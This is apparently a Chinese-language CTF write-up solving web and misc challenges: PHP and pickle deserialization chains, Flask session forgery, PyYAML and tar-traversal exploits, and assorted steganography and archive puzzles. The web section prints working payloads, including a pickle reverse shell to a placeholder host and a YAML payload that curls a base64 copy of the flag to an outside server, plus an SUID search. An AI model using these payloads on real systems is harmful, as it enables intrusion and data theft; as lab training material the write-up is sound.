web D0n’t pl4y g4m3!!! 访问/p0p.php
,返回一个hint.zip
1 Ö_ 0 0 vO Ow0 0 w0 Ö_ 0 Ö_O Ö. O o_o 0. O OvO o .0 owo o . Ö Ö. Ö Ovo 0 _ Ö Ö_o owO O .0 owo Ö_o owO O .0 owo Ö_ 0 0 w Ö O .0 0 w0 Ö_ 0 OwO ov0 owo o_O O . Ö Övo
尊嘟假嘟翻译器O.o 得到flag在/tmp/catcatf1ag.txt
利用 PHP<=7.4.21 Development Server源码泄露漏洞 得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php header ("HTTP/1.1 302 found" );header ("Location:https://passer-by.com/pacman/" );class Pro { private $exp ; private $rce2 ; public function __get ($name ) { return $this ->$rce2 =$this ->exp[$rce2 ]; } public function __toString ( ) { call_user_func ('system' , "cat /flag" ); } }class Yang { public function __call ($name , $ary ) { if ($this ->key === true || $this ->finish1->name) { if ($this ->finish->finish) { call_user_func ($this ->now[$name ], $ary [0 ]); } } } public function ycb ( ) { $this ->now = 0 ; return $this ->finish->finish; } public function __wakeup ( ) { $this ->key = True; } }class Cheng { private $finish ; public $name ; public function __get ($value ) { return $this ->$value = $this ->name[$value ]; } }class Bei { public function __destruct ( ) { if ($this ->CTF->ycb ()) { $this ->fine->YCB1 ($this ->rce, $this ->rce1); } } public function __wakeup ( ) { $this ->key = false ; } }function prohib ($a ) { $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i" ; return preg_replace ($filter ,'' ,$a ); }$a = $_POST ["CTF" ];if (isset ($a )){ unserialize (prohib ($a )); }?>
一个php反序列化,从hint中得知flag位置不在根目录,所以Pro
类可以舍弃 发现敏感函数call_user_func
,所以最终应该要调用__call
,而在Bei
中__destruct()
存在函数调用,poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $a = new Bei ();$a -> CTF = new Yang ();$a -> CTF -> finish = new Cheng ();$a -> CTF -> finish -> name = array ("finish" =>true );$a -> fine = new Yang ();$a -> rce = "/tmp/catcatf1ag.txt" ;$a -> fine -> finish = new Cheng ();$a -> fine -> finish -> name = array ("finish" =>true );$a -> fine -> now = array ("YCB1" =>"highlight_file" );echo urlencode (serialize ($a ));
O%3A3%3A%22Bei%22%3A3%3A%7Bs%3A3%3A%22CTF%22%3BO%3A4%3A%22Yang%22%3A1%3A%7Bs%3A6%3A%22finish%22%3BO%3A5%3A%22Cheng%22%3A2%3A%7Bs%3A13%3A%22%00Cheng%00finish%22%3BN%3Bs%3A4%3A%22name%22%3Ba%3A1%3A%7Bs%3A6%3A%22finish%22%3Bb%3A1%3B%7D%7D%7Ds%3A4%3A%22fine%22%3BO%3A4%3A%22Yang%22%3A2%3A%7Bs%3A6%3A%22finish%22%3BO%3A5%3A%22Cheng%22%3A2%3A%7Bs%3A13%3A%22%00Cheng%00finish%22%3BN%3Bs%3A4%3A%22name%22%3Ba%3A1%3A%7Bs%3A6%3A%22finish%22%3Bb%3A1%3B%7D%7Ds%3A3%3A%22now%22%3Ba%3A1%3A%7Bs%3A4%3A%22YCB1%22%3Bs%3A14%3A%22highlight_file%22%3B%7D%7Ds%3A3%3A%22rce%22%3Bs%3A19%3A%22%2Ftmp%2Fcatcatf1ag.txt%22%3B%7D
最后那个过滤用highlight_file
函数或者双写都可以绕过
Serpent www.zip下载源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from flask import Flask, sessionfrom secret import secret@app.route('/verification' ) def verification (): try : attribute = session.get('Attribute' ) if not isinstance (attribute, dict ): raise Exception except Exception: return 'Hacker!!!' if attribute.get('name' ) == 'admin' : if attribute.get('admin' ) == 1 : return secret else : return "Don't play tricks on me" else : return "You are a perfect stranger to me" if __name__ == '__main__' : app.run('0.0.0.0' , port=80 )
访问/verification
,进行session伪造,得到Hello admin, welcome to /ppppppppppick1e
访问/ppppppppppick1e
,得到Hint: Source in /src0de
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 @app.route('/src0de' ) def src0de (): f = open (__file__, 'r' ) rsp = f.read() f.close() return rsp[rsp.index("@app.route('/src0de')" ):]@app.route('/ppppppppppick1e' ) def ppppppppppick1e (): try : username = "admin" rsp = make_response("Hello, %s " % username) rsp.headers['hint' ] = "Source in /src0de" pick1e = request.cookies.get('pick1e' ) if pick1e is not None : pick1e = base64.b64decode(pick1e) else : return rsp if check(pick1e): pick1e = pickle.loads(pick1e) return "Go for it!!!" else : return "No Way!!!" except Exception as e: error_message = str (e) return error_message return rspclass GWHT (): def __init__ (self ): pass if __name__ == '__main__' : app.run('0.0.0.0' , port=80 )
pickle反序列化rce
反弹shell
1 2 3 4 5 6 7 8 9 10 import pickleimport base64 payload= b'''(S'python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ip",port));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")'' ios system .''' print (base64.b64encode(payload))
发现没有权限
查找有权限的命令
find /bin/ -perm 777
或者find / -perm -u=s -type f 2>/dev/null
发现python3有权限,使用python3读flagpython3 -c 'print(open("/flag").read())'
ArkNights 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import uuidfrom flask import *from werkzeug.utils import * app = Flask(__name__) app.config['SECRET_KEY' ] =str (uuid.uuid4()).replace("-" ,"*" )+"Boogipopisweak" @app.route('/' ) def index (): name=request.args.get("name" ,"name" ) m1sery=[request.args.get("m1sery" ,"Doctor.Boogipop" )] if (session.get("name" )=="Dr.Boog1pop" ): blacklist=re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/" , name, re.IGNORECASE) if blacklist: return "bad hacker no way" exec (f'for [{name} ] in [{m1sery} ]:print("strange?")' ) else : session['name' ] = "Doctor" return render_template("index.html" ,name=session.get("name" ))@app.route('/read' ) def read (): file = request.args.get('file' ) fileblacklist=re.findall("/flag|fl|ag/" ,file, re.IGNORECASE) if fileblacklist: return "bad hacker!" start=request.args.get("start" ,"0" ) end=request.args.get("end" ,"0" ) if start=="0" and end=="0" : return open (file,"rb" ).read() else : start,end=int (start),int (end) f=open (file,"rb" ) f.seek(start) data=f.read(end) return data@app.route("/<path:path>" ) def render_page (path ): print (os.path.pardir) print (path) if not os.path.exists("templates/" + path): return "not found" , 404 return render_template(path)if __name__=='__main__' : app.run( debug=False , host="0.0.0.0" ) print (app.config['SECRET_KEY' ])
有个任意文件读取,非预期解就直接读环境变量了
ezyaml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 import tarfilefrom flask import Flask, render_template, request, redirectfrom hashlib import md5import yamlimport osimport re app = Flask(__name__)def waf (s ): flag = True blacklist = ['bytes' ,'eval' ,'map' ,'frozenset' ,'popen' ,'tuple' ,'exec' ,'\\' ,'object' ,'listitems' ,'subprocess' ,'object' ,'apply' ] for no in blacklist: if no.lower() in str (s).lower(): flag= False print (no) break return flagdef extractFile (filepath, type ): extractdir = filepath.split('.' )[0 ] if not os.path.exists(extractdir): os.makedirs(extractdir) if type == 'tar' : tf = tarfile.TarFile(filepath) tf.extractall(extractdir) return tf.getnames()@app.route('/' , methods=['GET' ] ) def main (): fn = 'uploads/' + md5().hexdigest() if not os.path.exists(fn): os.makedirs(fn) return render_template('index.html' )@app.route('/upload' , methods=['GET' , 'POST' ] ) def upload (): if request.method == 'GET' : return redirect('/' ) if request.method == 'POST' : upFile = request.files['file' ] print (upFile) if re.search(r"\.\.|/" , upFile.filename, re.M|re.I) != None : return "<script>alert('Hacker!');window.location.href='/upload'</script>" savePath = f"uploads/{upFile.filename} " print (savePath) upFile.save(savePath) if tarfile.is_tarfile(savePath): zipDatas = extractFile(savePath, 'tar' ) return render_template('result.html' , path=savePath, files=zipDatas) else : return f"<script>alert('{upFile.filename} upload successfully');history.back(-1);</script>" @app.route('/src' , methods=['GET' ] ) def src (): if request.args: username = request.args.get('username' ) with open (f'config/{username} .yaml' , 'rb' ) as f: Config = yaml.load(f.read()) return render_template('admin.html' , username="admin" , message="success" ) else : return render_template('index.html' )if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8000 )
/upload路由中上传tar文件,然后通过/src路由进行yaml解析,存在PyYAML反序列化漏洞
poc
1 !!python/object/apply:os.system ["curl http://ip:7777/?flag=`cat /fl*|base64`" ]
制作tar包tar cPvf test.tar ../../config/config.yaml
上传后访问/src?username=config
触发
misc ai和nia的交响曲 upload.php中上传了一个flag1.png
其中每条黑线到下条黑线恰好8bit,把黑色当成0,白色当成1,竖着读取后转字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from PIL import Image img = Image.open ("1.png" ) width, height = img.size flag = '' for i in range (width): for j in range (height): pixel = img.getpixel((i, j))[0 ] flag += '1' if pixel >= 30 else '0' with open ('outs.txt' , 'w' ) as f: f.write(flag) result = '' for i in range (0 , len (flag), 8 ): byte = flag[i:i+8 ] decimal = int (byte, 2 ) result += chr (decimal)print (result)
结尾得到HINT:BV1wW4y1R7Jv&&FLAG1:@i_n1a_l0v3S_
http流中还有一个flag2.zip,发现是伪加密
解压后的内容如下,其中还有0宽,但没什么用
1 2 3 4 5 6 7 8 9 10 11 12 00 :04 00 :01 00 :22 00 :04 00 :01 00 :22 00 :10 00 :01 00 :13 00 :09 00 :01 00 :21
在hint中给的视频地址去找字母,得到CAOCAOGAIFAN
组合后为flag:@i_n1a_l0v3S_CAOCAOGAIFAN
EZ_misc 高度不对,先爆破出正确的宽高
发现两个iend,猜测是snipping的CVE
Matryoshka osfmount挂载,有三个盘
分别拿到encrypt
,normal_rar.rar
,not_real_cat.jpg
其中rar可以分离出一张jpg,大小样式与另一张jpg一样,使用双图盲水印
使用veracrypt
挂载encrypt
,密码为watermark_is_fun
拿到KBAUYVCSKR5XK5TYM5SGC3LMNJXWY4BQPBPXSYLVL54TCZLCL5UHUM27NUYTI4JBEEQX2===
存在零宽隐写,解密后得到Matryoshka
base32后猜测是维吉尼亚
程序猿Quby QUBY.png可以分离出一个带密码的rar
图片本身的信息是夏多密码,根据码表转换得到HAVEANICEDAY
注意1,6,12分别表示顺时针旋转180°,90°,0°
然后对图片解cloacked-pixel
python2 lsb.py extract QUBY.png out.txt HAVEANICEDAY
得到压缩包密码we1c0met0ycbCTF!!!
,解压得到一段wav和两张xlsx表
xlsx表中有外源数据被隐藏了,大约是中间50行~1000行的部分被折叠了,展开再改颜色能看到两种不同的数字
python提取数字后转换成10,画图后两张图拼在一起
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from PIL import Imageimport pandas s=55 s1=60 e=1023 e1=1028 l=0 r=63 img1=Image.new("1" ,(1050 ,140 )) x1=pandas.read_excel("1.xlsx" ) x1values=x1.valuesfor i in range (s-2 ,e-2 ): for j in range (0 ,r): if x1values[i][j]>=5 : img1.putpixel((i,j),255 ) else : img1.putpixel((i,j),0 ) x2=pandas.read_excel("2.xlsx" ) x2values=x2.valuesfor i in range (s1-2 ,e1-2 ): for j in range (0 ,r): if x2values[i][j]>=5 : img1.putpixel((i-5 ,j+63 ),255 ) else : img1.putpixel((i-5 ,j+63 ),0 ) img1=img1.transpose(Image.FLIP_LEFT_RIGHT) img1.save('img.png' )
密码w0wyoudo4goodj0b
对于wav的带密码的隐写,猜测是DeepSound
解密得到flag.txt
和fl4g.txt
fl4g.txt中的字符串先base85在base32,得到sQ+3ja02RchXLUFmNSZoYPlr8e/HVqxwfWtd7pnTADK15Evi9kGOMgbuIzyB64CJ
观察发现恰好是64位,从a-z,A-Z,0-9,+,/ 猜测是base换表,flag.txt中的值作为密文
两只老虎 只给了一张图片,但是发现图片后面的IDAT突然变小了
所以可以删掉前面所有长65536的IDAT块再删一个34018的IDAT块(参考正常的png图片)
爆破宽高,得到右边那张图片,发现右边多了一些像素
原来的图片是1134x720,变成了1144x720
红色部分全是(255,0,0),既然两图类似,就放stegsolve尝试xor,发现很多小像素点不规律分布
最后发现可以提取每行非黑色像素点的个数去转字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from PIL import Image img = Image.open ('solved.bmp' ) w,h = img.size count = []for i in range (h): tmp = 0 for j in range (w): pixel = img.getpixel((j,i)) if (pixel != (0 ,0 ,0 )): tmp += 1 if (tmp!=10 ): count.append(tmp-10 )print (count) count = '' .join(chr (num) for num in count)print (count)
Easy_VMDK
小明这次使用了32Bytes的随机密码,这次总不会被爆破出来了吧!! 小明压缩了好了题目后,他发现压缩后大小比压缩前还大啊,这不就没有压缩啊,这是为什么啊!
对压缩包进行明文攻击,本地看下自己的几个vmdk文件头,发现均为4B 44 4D 56 01 00 00 00 03 00 00 00
拿到一个flag.zip
和key.txt
flag.zip分离出一个带密码的压缩包和一个py脚本,其中是key.txt的加密过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import cv2import base64import binascii img = cv2.imread("key.png" ) r, c = img.shape[:2 ]print (r, c)with open ("key.txt" , "w" ) as f: for y in range (r): for x in range (c): uu_byte = binascii.a2b_uu(', ' .join(map (lambda x: str (x), img[y, x])) + "\n" ) f.write(base64.b64encode(uu_byte).decode() + "\n" )
解密过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import cv2import base64import numpy as npwith open ("key.txt" , "r" ) as f: lines = f.readlines() img = np.zeros((137 , 2494 ), dtype=np.uint8)for y in range (137 ): for x in range (2494 ): encoded_data = lines[y * 2494 + x].strip() decoded_data = base64.b85decode(encoded_data.encode()) pixel_value = int .from_bytes(decoded_data, byteorder='big' ) % 256 img[y, x] = pixel_value cv2.imwrite("restored_key.png" , img)
用这个密码去解压,得到flag
GIFuck 根据帧长切割,利用ocr进行批量识别
++++[->++++<]>[->++++++<]>-[->+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]+++<++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]++<+++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]<+++[->++++<]>[->-<]>[-<<<+>>>]<+++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]+++<++[->++++<]>[->-<]>[-<<<+>>>]+<++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]<+++<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+++<+++[->++++<]>[->-<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>]+++<+++[->++++<]>[->+<]>[-<<<+>>>][->+<]>[-<<<+>>>]+++<+++[->++++<]>[->-<]>[-<<<+>>>]++<++[->++++<]>[->+<]>[-<<<+>>>]+++<+++[->++++<]>[->+<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>]++[->+<]>[-<<<+>>>]+<<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+<<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+<+++[->++++<]>[->+<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>][->+<]>[-<<<+>>>]++<+++<+[->++++<]>[->++++<]>[->-<]>[-<<<+>>>]+<<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+<<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]+<+++[->++++<]>[->+<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>][->+<]>[-<<<+>>>]+++<+++[->++++<]>[->-<]>[-<<<+>>>]++<+[->++++<]>[->+<]>[-<<<+>>>]+++<+++[->++++<]>[->+<]>[-<<<+>>>]++<+++<+[->++++<]>[->++++<]>[->+<]>[-<<<+>>>]<<+++++++++[->+++++++++<]>++.<+++++[->+++++<]>+++.+++..+++++++.<+++++++++[->---------<]>--------.<++++++++[->++++++++<]>++.<++++[->++++<]>+++.-.<+++++++++[->---------<]>---.<+++++++++[->+++++++++<]>++++++++.<+++[->---<]>-.++++++.---.<+++++++++[->---------<]>-.<++++++++[->++++++++<]>++++++.++++++.<+++[->---<]>--.++++++.<++++++++[->--------<]>-------.<++++++++[->++++++++<]>+++++++++.<+++[->+++<]>+.<+++++++++[->---------<]>--.<++++++++[->++++++++<]>++++++++++++++.+.+++++.<+++++++++[->---------<]>---.<++++++++[->++++++++<]>++++++++.---.<+++[->+++<]>++++.<+++[->---<]>----.<+++++++[->-------<]>------.[-]<
会输出Sorry but your flag is not here.
真正的flag藏在内存中